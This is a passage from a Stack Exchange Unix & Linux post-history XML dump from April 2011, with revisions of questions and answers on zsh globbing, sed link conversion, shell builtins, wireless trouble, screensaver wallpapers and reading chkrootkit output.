open R, &quot;&lt;replacement&quot; or die;&#xD;&#xA;       while (&lt;R&gt;) {&#xD;&#xA;           ($from, $to, @ignored) = split / +/;&#xD;&#xA;           $s{$from} = $to;&#xD;&#xA;       }&#xD;&#xA;       close R;&#xD;&#xA;    }&#xD;&#xA;    $regexp = join(&quot;|&quot;, map {quotemeta} keys %s);&#xD;&#xA;    s/($regexp)/$s{$1}/ego'&#xD;&#xA;" />
  <row Id="27773" PostHistoryTypeId="6" PostId="11440" RevisionGUID="3dccb9ee-1887-4749-9d78-c7be3cf56ac5" CreationDate="2011-04-16T12:39:03.883" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingàéscriptingàésedàéperlà" />
  <row Id="27776" PostHistoryTypeId="2" PostId="11446" RevisionGUID="c099d3f8-06cc-4629-88fe-dbb1fb3e5d4f" CreationDate="2011-04-16T12:52:09.657" UserId="5666" Text="If you have a `/boot` partition formatted in FAT32, you'll be able to edit grub's config file from both OS(es)." />
  <row Id="27777" PostHistoryTypeId="5" PostId="11418" RevisionGUID="282617bd-822a-4912-9231-a86c0344bdc1" CreationDate="2011-04-16T13:06:04.540" UserId="885" Comment="formatting; reformulated for clarity; edited title" Text="I'm pretty noob when it comes to unix commands. What I want to do is to copy files within a lexicographic range.&#xD;&#xA;&#xD;&#xA;Example of files:&#xD;&#xA;&#xD;&#xA;    -rw-r--r--   1 root root   15276 Oct  5  2004 a2ps.cfg&#xD;&#xA;    -rw-r--r--   1 root root    2562 Oct  5  2004 a2ps-site.cfg&#xD;&#xA;    -rw-r--r--   4 root root    4096 Feb  2  2007 acpi.txt&#xD;&#xA;    -rw-r--r--   1 root root      48 Feb  8  2008 adjtime.jpg&#xD;&#xA;    -rw-r--r--   4 root root    4096 Feb  2  2007 alchemist.jpg&#xD;&#xA;&#xD;&#xA;Example of use:&#xD;&#xA;&#xD;&#xA;* Copy the 3 files from `asps.cfg` to `acpi.txt`&#xD;&#xA;* Copy the 3 files from `a2ps-site.cfg` to `adjtime.jpg`&#xD;&#xA;* Copy the 4 files from `a2ps-site.cfg` to `alchemist.jpg`&#xD;&#xA;&#xD;&#xA;So is there any way to copy a range of files (from filename X to filename Y) into a directory?&#xD;&#xA;&#xD;&#xA;Like: `cp filenameX ... filenameY destination/`&#xD;&#xA;" />
  <row Id="27778" PostHistoryTypeId="4" PostId="11423" RevisionGUID="02b3f150-e9f8-4b29-ae21-ea696a012adb" CreationDate="2011-04-16T13:06:23.230" UserId="2511" Comment="edited title" Text="How do I change the GRUB boot configuration from within Windows?" />
  <row Id="27779" PostHistoryTypeId="4" PostId="11418" RevisionGUID="282617bd-822a-4912-9231-a86c0344bdc1" CreationDate="2011-04-16T13:06:04.540" UserId="885" Comment="formatting; reformulated for clarity; edited title" Text="Copy multiple files from filename X to filename Y?" />
  <row Id="27780" PostHistoryTypeId="2" PostId="11447" RevisionGUID="d15e0d1f-9cb2-4568-a828-3cc4f77ca0c8" CreationDate="2011-04-16T13:17:12.630" UserId="885" Text="Zsh has an easy way to select a range of files out of the result of a glob (a glob is a wildcard match). On the plus side, the command is very short to write. On the minus site, you'll have to figure out the ordinals of the files you want to write. For example, the following command copies the 21st, 22nd, …, 40th file with a `.jpg` extension in the current directory, with the files enumerated in alphabetical order:&#xD;&#xA;&#xD;&#xA;    cp *.jpg([21,40]) destination/&#xD;&#xA;&#xD;&#xA;Zsh has an option that may or may not be helpful to you: under `setopt numeric_glob_sort`, `foo9bar.jpg` will be sorted before `foo10bar.jpg`. You can also choose a different sorting order in the glob qualifiers, e.g. `cp *.jpg(om[21,40]) destination/` to pick the 21st to 40th most recent files (use a capital `O` to sort in the opposite order). See [glob qualifiers](http://zsh.sourceforge.net/Doc/Release/Expansion.html) in the manual for more information.&#xD;&#xA;&#xD;&#xA;Under any shell, you could write a loop that iterates over the files, starts copying at the first file you want to write, and stops after the last file. Warning, untested.&#xD;&#xA;&#xD;&#xA;    in_range=&#xD;&#xA;    for x in *.jpg; do&#xD;&#xA;      if [ &quot;$x&quot; = &quot;first-file.jpg&quot; ]; then in_range=1; fi&#xD;&#xA;      if [ -n &quot;$in_range&quot; ]; then cp &quot;$x&quot; destination/; fi&#xD;&#xA;      if [ &quot;$x&quot; = &quot;last-file.jpg&quot; ]; then break; fi&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="27781" PostHistoryTypeId="2" PostId="11448" RevisionGUID="347a62b9-a103-4528-adb6-cdc483962742" CreationDate="2011-04-16T13:50:21.680" UserId="5664" Text="Just for editing Wiki's..&#xD;&#xA;&#xD;&#xA;So i have this input [from a larget text]:&#xD;&#xA;&#xD;&#xA;	TEXT TEXT BLA-BLA RANDOMSTRINGS BLA-BLA&#xD;&#xA;	TEXT TEXT BLA-BLA RANDOMSTRINGS BLA-BLA&#xD;&#xA;	TEXT TEXT &lt;a href=&quot;http://xy.com&quot;&gt;XY&lt;/a&gt; RANDOMSTRINGS BLA-BLA&#xD;&#xA;	TEXT TEXT BLA-BLA RANDOMSTRINGS BLA-BLA&#xD;&#xA;	TEXT TEXT BLA-BLA RANDOMSTRINGS BLA-BLA&#xD;&#xA;&#xD;&#xA;and i want this output:&#xD;&#xA;&#xD;&#xA;	TEXT TEXT BLA-BLA RANDOMSTRINGS BLA-BLA&#xD;&#xA;	TEXT TEXT BLA-BLA RANDOMSTRINGS BLA-BLA&#xD;&#xA;	TEXT TEXT [http://xy.com XY] RANDOMSTRINGS BLA-BLA&#xD;&#xA;	TEXT TEXT BLA-BLA RANDOMSTRINGS BLA-BLA&#xD;&#xA;	TEXT TEXT BLA-BLA RANDOMSTRINGS BLA-BLA&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&quot;http://xy.com&quot; could be e.g.: &quot;https://xy.com&quot; or &quot;http://www.xy.com&quot; or &quot;https://www.xy.com&quot;, etc." />
  <row Id="27782" PostHistoryTypeId="1" PostId="11448" RevisionGUID="347a62b9-a103-4528-adb6-cdc483962742" CreationDate="2011-04-16T13:50:21.680" UserId="5664" Text="How to convert &lt;a href=&quot;http://xy.com&quot;&gt;XY&lt;/a&gt; to [http://xy.com XY]?" />
  <row Id="27783" PostHistoryTypeId="3" PostId="11448" RevisionGUID="347a62b9-a103-4528-adb6-cdc483962742" CreationDate="2011-04-16T13:50:21.680" UserId="5664" Text="élinuxàébashàésedàéperlà" />
  <row Id="27784" PostHistoryTypeId="2" PostId="11449" RevisionGUID="5c516310-6169-4fab-af58-657d1c747c20" CreationDate="2011-04-16T13:51:58.120" UserId="4811" Text="Finally i made it, all you have to do is to open youtube video any video then right click on video and choose Settings, then a dialogue box will appear, uncheck the &quot;Enable Hardware Acceleration&quot; from that box, reload the video and enjoy!! [SOLVED]" />
  <row Id="27785" PostHistoryTypeId="2" PostId="11450" RevisionGUID="5eca48b6-875d-47d5-a132-6d62e3e12743" CreationDate="2011-04-16T14:03:25.043" UserId="885" Text="Without attempting to detect troublesome input (e.g. link or text containing `[]`), just capture everything between the `&quot;…&quot;` and between `&gt;…&lt;/a&gt;`:&#xD;&#xA;&#xD;&#xA;    sed -e 's!&lt;a  *href *= *&quot;\([^&quot;]*\)&quot; *&gt;\([^&lt;&gt;]*\)&lt;/[Aa]&gt;![\1 \2]!g'&#xD;&#xA;" />
  <row Id="27786" PostHistoryTypeId="6" PostId="11448" RevisionGUID="710aea00-e935-4f16-9eef-ff183707411f" CreationDate="2011-04-16T14:03:35.387" UserId="885" Comment="edited tags" Text="étextöprocessingàésedàéperlà" />
  <row Id="27787" PostHistoryTypeId="2" PostId="11451" RevisionGUID="aee1e3d7-a438-4ea0-abc2-60385ff5324b" CreationDate="2011-04-16T14:07:03.050" UserId="6642" Text="Im using Debian Mint, and my internet has worked everywhere on earth (Home, mcdonalds, other ppls homes) except at school where i really need it.  It will always see the networks and will 'try' to connect but will never be able to do so.&#xD;&#xA;&#xD;&#xA;Occasionally it will work if I reboot, and disconnect networking, and reconnect, but only occasionally. &#xD;&#xA;&#xD;&#xA;Works perfectly every time when i dual boot to Windows so its kinda frustrating.&#xD;&#xA;&#xD;&#xA;Power management is off, and Tx power is at 15db.&#xD;&#xA;&#xD;&#xA;You can call me what youd like, but please someone help me because this is the only reason I have to go to windows, and haaaaate sitting through windows updates every time i login." />
  <row Id="27788" PostHistoryTypeId="1" PostId="11451" RevisionGUID="aee1e3d7-a438-4ea0-abc2-60385ff5324b" CreationDate="2011-04-16T14:07:03.050" UserId="6642" Text="No wireless at School ?" />
  <row Id="27789" PostHistoryTypeId="3" PostId="11451" RevisionGUID="aee1e3d7-a438-4ea0-abc2-60385ff5324b" CreationDate="2011-04-16T14:07:03.050" UserId="6642" Text="éwirelessàélinuxömintàénetworkingà" />
  <row Id="27790" PostHistoryTypeId="2" PostId="11452" RevisionGUID="3ec198f7-e8fd-4c47-b34a-b3082bf62741" CreationDate="2011-04-16T14:29:20.867" UserId="1925" Text="Let me guess, you have an atheros (or similarly persnickety) chipset in your wireless card.&#xD;&#xA;&#xD;&#xA;The good news is that the unix drivers for those things have gotten way better in the last few years. The bad news is they still have some quirks that are usually overcome in software by the drivers. The proprietary windows drivers take care of this, but the open source ones have trouble learning all the stupid hoops that have to be jumped through to make the hardware behave.&#xD;&#xA;&#xD;&#xA;These glitches usually come out when connecting to specific network types or other brand chips. You might find using a different authentication method (can you use fixed keys instead of pass-phrase auth at your school?) may work. Another way to make those things more cooperative is use ndiswrapper to actually load the windows driver in linux." />
  <row Id="27791" PostHistoryTypeId="5" PostId="11443" RevisionGUID="a487a33c-6995-49d0-8cb3-207bfc5e8ff1" CreationDate="2011-04-16T14:34:54.077" UserId="1925" Comment="Add formatting and fuller explanation including alternate keys for people with terminals that don't pass F keys." Text="In htop, press &lt;kbd&gt;F2&lt;/kbd&gt; or &lt;kbd&gt;S&lt;/kbd&gt;to enter setup, then use the arrows to navigate the `Columns-&gt;Available Columns` menu, select `PROCESSOR` and &lt;kbd&gt;Enter&lt;/kbd&gt;to add a processor column. Then &lt;kbd&gt;q&lt;/kbd&gt; to get back to the main screen." />
  <row Id="27792" PostHistoryTypeId="24" PostId="11443" RevisionGUID="a487a33c-6995-49d0-8cb3-207bfc5e8ff1" CreationDate="2011-04-16T14:34:54.077" Comment="Proposed by 1925 approved by 885 edit id of 275" />
  <row Id="27793" PostHistoryTypeId="5" PostId="11451" RevisionGUID="3bf29851-ac52-4ecd-8ae9-db5da8549b5b" CreationDate="2011-04-16T14:35:05.277" UserId="1925" Comment="English is a language with rules too :)" Text="I'm using Debian Mint and my internet has worked everywhere on earth (Home, Mcdonalds, other peoples homes) except at school where I really need it.  It will always see the networks and will 'try' to connect but will never be able to do so.&#xD;&#xA;&#xD;&#xA;Occasionally it will work if I reboot, and disconnect networking, and reconnect, but only occasionally. &#xD;&#xA;&#xD;&#xA;It works perfectly if I dual boot to Windows so it's kinda frustrating.&#xD;&#xA;&#xD;&#xA;Power management is off, and Tx power is at 15db.&#xD;&#xA;&#xD;&#xA;You can call me what youd like, but please someone help me because this is the only reason I have to go to windows, and haaaaate sitting through windows updates every time i login." />
  <row Id="27794" PostHistoryTypeId="4" PostId="11451" RevisionGUID="3bf29851-ac52-4ecd-8ae9-db5da8549b5b" CreationDate="2011-04-16T14:35:05.277" UserId="1925" Comment="English is a language with rules too :)" Text="Cannot connect to wireless at School" />
  <row Id="27795" PostHistoryTypeId="24" PostId="11451" RevisionGUID="3bf29851-ac52-4ecd-8ae9-db5da8549b5b" CreationDate="2011-04-16T14:35:05.277" Comment="Proposed by 1925 approved by 885 edit id of 276" />
  <row Id="27796" PostHistoryTypeId="25" PostId="11451" RevisionGUID="b4b26ce2-21b0-4405-8036-1b301a94ba63" CreationDate="2011-04-16T15:09:09.870" Comment="http://twitter.com/#!/StackUnix/status/59272122786250752" />
  <row Id="27797" PostHistoryTypeId="2" PostId="11453" RevisionGUID="ae9073bd-587c-40eb-9e44-45f414498e7c" CreationDate="2011-04-16T15:44:41.220" UserId="1925" Text="There are several kinds of init systems, and some linux distros even offer more than one option. The most common are [systemd][1], [SysV][2], LSB, and [upstart][3], but there are others.&#xD;&#xA;&#xD;&#xA;Here are some details on [init in OpenSUSE][4]. Maybe if you have found others by now you can post back links.&#xD;&#xA;&#xD;&#xA;  [1]: http://freedesktop.org/wiki/Software/systemd&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/UNIX_System_V&#xD;&#xA;  [3]: http://upstart.ubuntu.com/&#xD;&#xA;  [4]: http://doc.opensuse.org/products/opensuse/openSUSE/opensuse-reference/cha.boot.html#sec.boot.init" />
  <row Id="27800" PostHistoryTypeId="2" PostId="11454" RevisionGUID="6b781753-0e2d-4139-b90f-85dccb7d3559" CreationDate="2011-04-16T15:58:09.810" UserId="2343" Text="Is there any intrinsic difference between a builtin command and another command which can nominally do the same thing?   &#xD;&#xA;&#xD;&#xA;eg. Do builtins get &quot;special&quot; treatement? ... is there less overhead running them? .. or are they just simply 'built in'; like the dashboard of your car?   &#xD;&#xA;&#xD;&#xA;...and is there a definitive (current) list of these builtins?   &#xD;&#xA;&#xD;&#xA;" />
  <row Id="27801" PostHistoryTypeId="1" PostId="11454" RevisionGUID="6b781753-0e2d-4139-b90f-85dccb7d3559" CreationDate="2011-04-16T15:58:09.810" UserId="2343" Text="What is the difference between a builtin command and one that is not?" />
  <row Id="27802" PostHistoryTypeId="3" PostId="11454" RevisionGUID="6b781753-0e2d-4139-b90f-85dccb7d3559" CreationDate="2011-04-16T15:58:09.810" UserId="2343" Text="éshellàébashà" />
  <row Id="27803" PostHistoryTypeId="2" PostId="11455" RevisionGUID="218c6600-4fa1-4c52-bcaf-71752daf052e" CreationDate="2011-04-16T15:58:30.353" UserId="6645" Text="A good place to start would be to learn to compile the Linux Kernel.  Go to www.kernel.org and start downloading the git versions and try to compile them first.  Dont install them yet!  Just learning to build the kernel will get you going for sure." />
  <row Id="27804" PostHistoryTypeId="2" PostId="11456" RevisionGUID="d92febca-97cf-4414-9c3e-cd3ff1e793c0" CreationDate="2011-04-16T16:01:38.060" UserId="2180" Text="A builtin is a command provided by the shell, rather than by an external program.&#xD;&#xA;Here are the lists for [`bash`'s builtins][1] and [`zsh`'s builtins][2]. `ksh` provides a list by running `builtin`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html&#xD;&#xA;  [2]: http://www.gsp.com/cgi-bin/man.cgi?section=1&amp;topic=zshbuiltins" />
  <row Id="27805" PostHistoryTypeId="2" PostId="11457" RevisionGUID="dd8d771f-d4e8-449f-b2ec-aac5aa6ad87f" CreationDate="2011-04-16T16:02:00.680" UserId="1925" Text="Every distro and shell has a different collection of commands vs builtin shell functions. Generally the idea is that shells build-in the most common and simple functions to save time, speed, and integrate will with the rest of their feature set. The overhead is much lower since it doesn't have to launch another system process. However it is possible to mix and match. You might run one shell that has a buildin for something, but have that command on your system too. Usually the builtin would take priority, but you could control that.&#xD;&#xA;&#xD;&#xA;You can easily find out whether a specific command is a builtin or not by running `which mycommand`. Most shell man pages also have a list of their builtins." />
  <row Id="27806" PostHistoryTypeId="5" PostId="11456" RevisionGUID="4238b802-b2cc-40a2-ba79-352328c44863" CreationDate="2011-04-16T16:09:38.413" UserId="2180" Comment="added 162 characters in body" Text="A builtin is a command provided by the shell, rather than by an external program.&#xD;&#xA;Here are the lists for [`bash`'s builtins][1] (they are also listed in the bash man page) and [`zsh`'s builtins][2]. `ksh` provides a list by running `builtin`.&#xD;&#xA;&#xD;&#xA;To know if a particular command is a builtin, you can run `type command`. Try `type for` and `type ls` to see this.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html&#xD;&#xA;  [2]: http://www.gsp.com/cgi-bin/man.cgi?section=1&amp;topic=zshbuiltins" />
  <row Id="27807" PostHistoryTypeId="2" PostId="11458" RevisionGUID="3c5ce4f9-7e0c-42a3-b055-a1e1aa85cac5" CreationDate="2011-04-16T16:11:31.423" UserId="4518" Text="From Neal Stephenson's _Cryptonomicon_:&#xD;&#xA;&#xD;&#xA;&gt; The background of his [X] screen happens to be a uniform indigo at the moment, but it could be an image. Theoretically you could use a movie ... You can, in fact, take any piece of software and make it into your screen background ...&#xD;&#xA;&#xD;&#xA;How would you set a program as the desktop &quot;wallpaper&quot;?" />
  <row Id="27808" PostHistoryTypeId="1" PostId="11458" RevisionGUID="3c5ce4f9-7e0c-42a3-b055-a1e1aa85cac5" CreationDate="2011-04-16T16:11:31.423" UserId="4518" Text="Setting a program as the wallpaper" />
  <row Id="27809" PostHistoryTypeId="3" PostId="11458" RevisionGUID="3c5ce4f9-7e0c-42a3-b055-a1e1aa85cac5" CreationDate="2011-04-16T16:11:31.423" UserId="4518" Text="éxorgàéwallpaperàénealöstephensonà" />
  <row Id="27810" PostHistoryTypeId="2" PostId="11459" RevisionGUID="60d7e542-7af7-48ea-a2af-a4bc913c7cc4" CreationDate="2011-04-16T16:25:01.117" UserId="3082" Text="You just run a program on the root window. Most screensavers allow you do do that, e.g.:&#xD;&#xA;&#xD;&#xA;    /usr/lib64/misc/xscreensaver/sundancer2 --root&#xD;&#xA;&#xD;&#xA;However, most modern Linux environments run a &quot;desktop&quot; program that covers the whole screen and covers the root window. So you won't see it unless you kill the desktop program." />
  <row Id="27811" PostHistoryTypeId="2" PostId="11460" RevisionGUID="e892c966-af54-4bc7-8f24-d62cf44b6975" CreationDate="2011-04-16T16:29:00.963" UserId="885" Text="There are three levels of built-in utilities:&#xD;&#xA;&#xD;&#xA;* [Some utilities](http://pubs.opengroup.org/onlinepubs/009695399/idx/sbi.html) are really part of the shell as a programming language, even though they are not [reserved words](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_04). They are control flow utilities (`.`, `:`, `break`, `continue`, `return`, `trap`, `exit`, `exec`, `eval`), parameter-related utilities (`set`, `unset`, `shift`, `export`, `readonly`, `local`¹, `typeset`¹), alias utilities (`alias`², `unalias`²) and `times`³. These [**special built-ins**](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_14) get special treatment:&#xD;&#xA;    * If you pass the wrong arguments to a special built-in, the shell itself may abort, rather than just skipping to the next command after displaying an error message.&#xD;&#xA;    * The pre-assignment syntax `foo=bar utility` has a different meaning: it's an ordinary parameter assignment, instead of assigning to the environment for the duration of the utility only.&#xD;&#xA;&#xD;&#xA;* Some utilities **need** to be implemented inside the shell because they act on the shell's internal settings. This includes:&#xD;&#xA;    * utilities that act on the shell's current directory such as `cd`, `dirs`, `pushd`, `popd`;&#xD;&#xA;    * job control utilities such as `bg`, `disown`, `fg`, `jobs`, `wait`;&#xD;&#xA;    * utilities that read or manipulate other shell attributes such as `builtin`, `command`, `hash`, `read`, `type`, `ulimit`, `umask`;&#xD;&#xA;    * utilities related to interactive features, when they're present, such as `fc`, `history`, `bind`.&#xD;&#xA;* Some utilities are typically implemented as built-ins purely for **performance**: `echo`, `printf`, `test`, `true`, `false`.&#xD;&#xA;&#xD;&#xA;Advanced shells such as [bash](http://www.gnu.org/software/bash/manual/bashref.html#Shell-Builtin-Commands), [ksh](http://www2.research.att.com/sw/download/man/man1/ksh-man.html#Built-in Commands) and [zsh](http://zsh.sourceforge.net/Doc/Release/Shell-Builtin-Commands.html) typically have more built-ins, often to implement non-standard features (usually for interaction). The manual of each shell will tell you what commands are built-in, though some shells ([zsh](http://zsh.sourceforge.net/Doc/Release/Zsh-Modules.html), at least) support dynamically-loadable modules that can provide more built-ins.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; Unknown to POSIX, but special in ksh and several other shells.&lt;/sub&gt;  &#xD;&#xA;² &lt;sub&gt; Ordinary in POSIX, but special in ksh and several other shells.&lt;/sub&gt;  &#xD;&#xA;³ &lt;sub&gt; In `ksh`, `times` is a wrapper around the [`time`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/time.html) keyword: it's an alias for `{ { time;} 2&gt;&amp;1;}`. Note that POSIX allows `time` to be an external utility with ordinary parsing or a keyword that applies to a whole pipeline (which it is in ksh, bash in zsh). &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="27812" PostHistoryTypeId="5" PostId="11460" RevisionGUID="bcfc319a-9555-421b-8d02-c2606f8456d7" CreationDate="2011-04-16T16:34:17.577" UserId="885" Comment="added 2 characters in body" Text="There are three levels of built-in utilities:&#xD;&#xA;&#xD;&#xA;* [Some utilities](http://pubs.opengroup.org/onlinepubs/009695399/idx/sbi.html) are really part of the shell as a programming language, even though they are not [reserved words](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_04). They are control flow utilities (`.`, `:`, `break`, `continue`, `return`, `trap`, `exit`, `exec`, `eval`), parameter-related utilities (`set`, `unset`, `shift`, `export`, `readonly`, `local`¹, `typeset`¹), alias utilities (`alias`², `unalias`²) and `times`³. These [**special built-ins**](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_14) get special treatment:&#xD;&#xA;    * If you pass the wrong arguments to a special built-in, the shell itself may abort, rather than just skipping to the next command after displaying an error message.&#xD;&#xA;    * The pre-assignment syntax `foo=bar utility` has a different meaning: it's an ordinary parameter assignment, instead of assigning to the environment for the duration of the utility only.&#xD;&#xA;&#xD;&#xA;* Some utilities **need** to be implemented inside the shell because they act on the shell's internal settings. This includes:&#xD;&#xA;    * utilities that act on the shell's current directory such as `cd`, `dirs`, `pushd`, `popd`;&#xD;&#xA;    * job control utilities such as `bg`, `disown`, `fg`, `jobs`, `wait`;&#xD;&#xA;    * utilities that read or manipulate other shell attributes such as `builtin`, `command`, `hash`, `read`, `type`, `ulimit`, `umask`;&#xD;&#xA;    * utilities related to interactive features, when they're present, such as `fc`, `history`, `bind`.&#xD;&#xA;* Some utilities are typically implemented as built-ins purely for **performance**: `echo`, `printf`, `test`, `true`, `false`.&#xD;&#xA;&#xD;&#xA;Advanced shells such as [bash](http://www.gnu.org/software/bash/manual/bashref.html#Shell-Builtin-Commands), [ksh](http://www2.research.att.com/sw/download/man/man1/ksh-man.html#Built-in%20Commands) and [zsh](http://zsh.sourceforge.net/Doc/Release/Shell-Builtin-Commands.html) typically have more built-ins, often to implement non-standard features (usually for interaction). The manual of each shell will tell you what commands are built-in, though some shells ([zsh](http://zsh.sourceforge.net/Doc/Release/Zsh-Modules.html), at least) support dynamically-loadable modules that can provide more built-ins.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; Unknown to POSIX, but special in ksh and several other shells.&lt;/sub&gt;  &#xD;&#xA;² &lt;sub&gt; Ordinary in POSIX, but special in ksh and several other shells.&lt;/sub&gt;  &#xD;&#xA;³ &lt;sub&gt; In `ksh`, `times` is a wrapper around the [`time`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/time.html) keyword: it's an alias for `{ { time;} 2&gt;&amp;1;}`. Note that POSIX allows `time` to be an external utility with ordinary parsing or a keyword that applies to a whole pipeline (which it is in ksh, bash in zsh). &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="27813" PostHistoryTypeId="6" PostId="11454" RevisionGUID="055c8608-fa9d-4f0f-a625-44c5caf0f816" CreationDate="2011-04-16T16:34:37.590" UserId="885" Comment="edited tags" Text="éshellàébashàéutilitiesà" />
  <row Id="27814" PostHistoryTypeId="2" PostId="11461" RevisionGUID="5a350c11-be90-46dc-88df-1fad8a061356" CreationDate="2011-04-16T16:37:29.040" UserId="4335" Text="I couldn't understand the output of chkrootkit command&#xD;&#xA;&#xD;&#xA;&gt;$ chkrootkit -q -r /&#xD;&#xA; &#xD;&#xA;&gt; /usr/lib/.libssl.so.10.hmac&#xD;&#xA;&gt; /usr/lib/.libfipscheck.so.1.hmac&#xD;&#xA;&gt; /usr/lib/firefox-3.6/.autoreg&#xD;&#xA;&gt; /usr/lib/.libfipscheck.so.1.1.0.hmac&#xD;&#xA;&gt; /usr/lib/.libssl.so.1.0.0d.hmac&#xD;&#xA;&gt; /lib/.libcrypto.so.1.0.0d.hmac&#xD;&#xA;&gt; /lib/.libgcrypt.so.11.hmac&#xD;&#xA;&gt; /lib/.libcrypto.so.10.hmac&#xD;&#xA;&#xD;&#xA;&gt;/proc/2980/fd/129: No such file or directory&#xD;&#xA;&#xD;&#xA;What does this mean? " />
  <row Id="27815" PostHistoryTypeId="1" PostId="11461" RevisionGUID="5a350c11-be90-46dc-88df-1fad8a061356" CreationDate="2011-04-16T16:37:29.040" UserId="4335" Text="Cannot understand chkrootkit's result" />
  <row Id="27816" PostHistoryTypeId="3" PostId="11461" RevisionGUID="5a350c11-be90-46dc-88df-1fad8a061356" CreationDate="2011-04-16T16:37:29.040" UserId="4335" Text="élinuxàésecurityàéchkrootkità" />
  <row Id="27817" PostHistoryTypeId="2" PostId="11462" RevisionGUID="6dacc743-3df0-482f-aa66-9d2187396d64" CreationDate="2011-04-16T16:38:38.963" UserId="885" Text="The only definitive way is to [try them one by one](http://unix.stackexchange.com/questions/11427/how-can-i-determine-which-service-run-during-bootup-is-responsible-for-a-certain/11428#11428). But there's a good chance that the bind mounts are triggered explicitly from one of the init scripts, so simply searching them is likely to provide the culprit. And of course you should check `/etc/fstab` first.&#xD;&#xA;&#xD;&#xA;    grep bind /etc/fstab&#xD;&#xA;    grep 'mount.*bind' /etc/rc*/*&#xD;&#xA;&#xD;&#xA;(The location of init script may be different depending on the distribution and init implementation, e.g. `/etc/init*/*` or `/etc/rc*`.)&#xD;&#xA;" />
  <row Id="27818" PostHistoryTypeId="6" PostId="11458" RevisionGUID="56722d67-5ccb-4922-9d76-ba0b5b6f73a7" CreationDate="2011-04-16T16:40:01.753" UserId="885" Comment="edited tags" Text="éxorgàédesktopàéwallpaperà" />
  <row Id="27819" PostHistoryTypeId="5" PostId="11461" RevisionGUID="6ff38380-b8f5-489d-8948-e745b43f0401" CreationDate="2011-04-16T16:41:18.900" UserId="885" Comment="formatting" Text="I couldn't understand the output of `chkrootkit` command:&#xD;&#xA;&#xD;&#xA;    $ chkrootkit -q -r /&#xD;&#xA;    /usr/lib/.libssl.so.10.hmac&#xD;&#xA;    /usr/lib/.libfipscheck.so.1.hmac&#xD;&#xA;    /usr/lib/firefox-3.6/.autoreg&#xD;&#xA;    /usr/lib/.libfipscheck.so.1.1.0.hmac&#xD;&#xA;    /usr/lib/.libssl.so.1.0.0d.hmac&#xD;&#xA;    /lib/.libcrypto.so.1.0.0d.hmac&#xD;&#xA;    /lib/.libgcrypt.so.11.hmac&#xD;&#xA;    /lib/.libcrypto.so.10.hmac&#xD;&#xA;    /proc/2980/fd/129: No such file or directory&#xD;&#xA;&#xD;&#xA;What does this mean?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27820" PostHistoryTypeId="2" PostId="11463" RevisionGUID="e7bc3de4-0202-407d-a7f1-4f633fe86265" CreationDate="2011-04-16T16:57:57.860" UserId="1925" Text="The &quot;no such file&quot; error simply means it expected to find something and couldn't. In this case there was a running system process, but when it went to check the proc entries relative to it they were not there. This could mean the process is cloaked and being bad, or it could just mean that it naturally stopped before it got around to being looked at.&#xD;&#xA;&#xD;&#xA;The other files are files on your system that chkrootkit considers suspicious and should be looked into. In this case they are mostly library files that start with a dot: not a normal scenario." />
  <row Id="27821" PostHistoryTypeId="2" PostId="11464" RevisionGUID="4e2d2b27-16ef-4a96-b327-69839c2db4a4" CreationDate="2011-04-16T17:04:25.363" UserId="2343" Text="`dd` can write repeating `\0` *bytes* to a file very fast, but it can't write repeating arbitary strings.       &#xD;&#xA;Is there a *bash-shell* method to write repeating arbitary **strings** equally as fast as 'dd' (including `\0` ) ?   &#xD;&#xA;&#xD;&#xA;All the suggestions I've encountered in 6 months of linux are things like `printf &quot;%${1}s&quot; |sed -e &quot;s/ /${2}/g&quot;`, but this is painfully slow compared to `dd`, as shown below.. and `sed` crashes after approx 384 MB (on my box).. actually that's not bad for a single line-length :) but it did crash!  &#xD;&#xA;I  suppose that wouldn't be an issue for 'sed', if the string contained a newline).   &#xD;&#xA;&#xD;&#xA;Speed Comparison 'dd' vs 'printf+sed'  &#xD;&#xA;  &#xD;&#xA;                                real        user        sys       &#xD;&#xA;    WRITE 384 MB: 'dd'          0m03.833s   0m00.004s   0m00.548s&#xD;&#xA;    WRITE 384 MB: 'printf+sed'  1m39.551s   1m34.754s   0m02.968s&#xD;&#xA;&#xD;&#xA;I have an idea how to do this in a *bash-shell* script. It is looking promising, but it is currently a &quot;fait **un**-accompli&quot;, and there's no point re-inventing the wheel :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27822" PostHistoryTypeId="1" PostId="11464" RevisionGUID="4e2d2b27-16ef-4a96-b327-69839c2db4a4" CreationDate="2011-04-16T17:04:25.363" UserId="2343" Text="How to write repeated free-form strings to a file, as fast as 'dd'?" />
  <row Id="27823" PostHistoryTypeId="3" PostId="11464" RevisionGUID="4e2d2b27-16ef-4a96-b327-69839c2db4a4" CreationDate="2011-04-16T17:04:25.363" UserId="2343" Text="ébashàéshellöscriptà" />
  <row Id="27824" PostHistoryTypeId="5" PostId="11463" RevisionGUID="446df15b-9556-4554-9ebc-575ddf676227" CreationDate="2011-04-16T17:14:37.587" UserId="1925" Comment="added 90 characters in body" Text="The &quot;no such file&quot; error simply means it expected to find something and couldn't. In this case there was a running system process, but when it went to check the proc entries relative to it they were not there. This could mean the process is cloaked and being bad, or it could just mean that it naturally stopped before it got around to being looked at.&#xD;&#xA;&#xD;&#xA;The other files are files on your system that chkrootkit considers suspicious and should be looked into. **[edit:]** In this case they are mostly library files that start with a dot, but also have an extra extention. You lookup what these files are and find out where they came from." />
